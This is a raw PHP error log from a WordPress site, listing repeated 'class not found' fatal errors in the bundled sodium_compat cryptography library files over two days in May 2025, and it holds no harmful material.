[13-May-2025 09:59:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[13-May-2025 09:59:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[13-May-2025 09:59:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[13-May-2025 09:59:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[13-May-2025 09:59:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[13-May-2025 09:59:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-May-2025 09:59:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-May-2025 09:59:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-May-2025 09:59:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-May-2025 09:59:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[13-May-2025 09:59:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[13-May-2025 09:59:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[13-May-2025 09:59:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[13-May-2025 09:59:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-May-2025 09:59:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-May-2025 09:59:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[13-May-2025 09:59:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 12:00:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-May-2025 12:00:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-May-2025 12:00:41 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-May-2025 12:00:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10
[14-May-2025 12:00:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-May-2025 12:00:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-May-2025 12:00:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-May-2025 12:00:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/X25519.php on line 10
[14-May-2025 12:00:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-May-2025 12:00:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-May-2025 12:00:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-May-2025 12:00:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10
[14-May-2025 12:00:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-May-2025 12:00:52 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-May-2025 12:00:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-May-2025 12:00:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10
[14-May-2025 12:00:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-May-2025 12:00:55 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-May-2025 12:00:57 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-May-2025 12:00:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-May-2025 12:00:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-May-2025 12:00:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-May-2025 12:01:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-May-2025 12:01:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-May-2025 12:01:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 12:01:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 12:01:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 12:01:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 12:01:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-May-2025 12:01:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-May-2025 12:01:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-May-2025 12:01:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12
[14-May-2025 12:01:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-May-2025 12:01:12 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-May-2025 12:01:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-May-2025 12:01:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10
[14-May-2025 12:01:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-May-2025 12:01:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-May-2025 12:01:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-May-2025 12:01:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12
[14-May-2025 12:01:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-May-2025 12:01:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-May-2025 12:01:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-May-2025 12:01:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Util.php on line 10
[14-May-2025 12:01:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-May-2025 12:01:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-May-2025 12:01:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-May-2025 12:01:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-May-2025 12:01:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 12:01:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 12:01:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 12:01:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 14:30:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-May-2025 14:30:42 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-May-2025 14:30:43 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-May-2025 14:30:45 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10
[14-May-2025 14:30:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 14:30:46 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 14:30:47 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 14:30:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16
[14-May-2025 14:30:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-May-2025 14:30:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-May-2025 14:30:51 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-May-2025 14:30:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10
[14-May-2025 14:30:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-May-2025 14:30:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10
[14-May-2025 14:30:54 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core32_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10
Stack trace:
#0 {main}
